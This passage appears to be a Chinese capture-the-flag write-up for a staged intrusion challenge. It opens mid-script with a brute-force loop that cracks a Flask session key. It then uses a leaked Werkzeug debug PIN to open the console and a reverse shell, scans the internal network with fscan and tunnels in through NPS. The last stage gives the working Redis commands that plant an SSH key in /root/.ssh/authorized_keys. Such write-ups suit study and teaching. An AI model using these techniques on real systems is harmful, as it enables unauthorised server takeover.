return "[Decoding error] {}".format(e)
raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMyJ9.ZO9evg.Xms6P6EytB2HM4UvqW128bZDB-8', key)
# print(res)
if 'user' in str(res):
print(key)
exit()

爆破出后四位 或者自己让gpt写一个字典慢慢跑都行

然后伪造session 可以看到提示

1
2
3
今天测试留言板的时候发现我的调试模式给出的pin码一直是904-474-531不变,真是奇怪呢
不过这个泄露了貌似很危险,别人就可以进我的console执行任意python代码了!
一定不能泄露出去!!!!

给了我们ping码 就可以知道它开启了debug模式

直接访问/console路由

进行反弹shell

获得第一段flag 再查看/readme并且得到提示

1
2
3
4
5
6
7
8
9
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务

ifconfig 命令没有 还可以用hostname -I 获取存活的ip地址

可以得到两端

img

然后进行fscan 扫描c段

获得密码22-3306-6379-8080 再将压缩包中flag解出 获得提示

1
2
3
4
5
6
7
8
9
10
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps``frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

那么我们要去连接它内网下的其他服务器 我们就要进行内网穿透做隧道

首先就是用一台vps去连接跳板机 然后通过跳板机做隧道将内网中服务器暴露在公网中 这样我们就可以用我们的物理机去连接到了

大致就是 172.21.0.2:xxxx(内网服务器)->跳板机ip:xxxxx->我们的vps<-某种⼯具连接这个隧道<-攻击机

这里我用的是NPS

一开始我用的tcp隧道 就是我们可以直接去连接我的vps和指定隧道端口直接连接他的内网服务器

但是这里我并不能连接成功redis 就很奇怪

之后我用socks并且proxifier 做了个代理 就不用去用我的vps ip了 直接就是127.0.20.x:3306就可以连接到他的内网中mysql服务器

配置什么的都要做好 包括容许走它的隧道应用等

img

连接上去之后 可以在表中发现第二段flag

img

第三段是redis公钥登录服务器

大致过程与条件:

  1. 客户端生成私钥和公钥,将公钥拷贝给服务器端
  2. 客户端发起登录请求
  3. 服务器端根据客户端发来的信息查找是否存有该客户端的公钥,
  4. 客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证
  5. 服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对

条件:

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录。

首先用工具连接到redis服务器 只要隧道搭建没问题都能连上 就是这个环境太折磨人了

不过也没办法 能体会到出题人的一片苦心 只怪搅屎棍太多了 素质太差

需要注意的是ip会发生变化是动态的 连接不上的的时候一定要去再看看 而且题目环境会隔一段时间重启

首先在自己攻击机申请公私钥 将私钥保存在自己物理机上

1
2
3
4
5
ssh-keygen -t rsa # ⽣成公钥和私钥
redis服务器写入
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVuidivu8ahaTWtPekYXjkm0ya2rJ9uYFXQ6ca0GO9ny478xL8sU6Qg3Cpzr1/uWGOahpACX2CLjnkRxiZAuxwymqGyq0/jYoLLuGfKCIOdb/WL5mcsdubiVvjC4jWSLIvlwB/rk2LS5DNC2+fnBGuVKDRNLn6BY4w8vRdqowA9/Gy5+gJwBR9TY1J6KQUTc0LXNasQIhBbqXYTQwfcqdhBs929Uq5yOIs+1KawJJrmkWkENvbat7BphjlUhvZUrynEpCNZ0kJVxq2Pj4ltks1WMknE+cES10LJQDSlhjxNuED52QPdcIjqtKUZZk3P7hKwLmO782D3/stPQ0Q4RMWeaUvJLRFLtep1uf+O5YQTtJ8NJzFP+nntNX/NB7HKk4dIy+PnQOh1TaEAAWXK5TR6SgrRttAUcZzhrbTjNNvqRHq9VJplE7hFoaqJXQhD7x7UgjPJqK8kP0b/kpza68+ljgD7PZJSUl7q5gJ5yicGvBUNht/6Y/qqn4KonDpYH8=\n"
config set dir /root/.ssh
config set dbfilename authorized_keys

img

然后用私钥ssh 22端口链接即可

然后就能得到最后一段flag

被环境折磨。。。

收获还是颇多 很值得

本文最后更新于 天前,文中所描述的信息可能已发生改变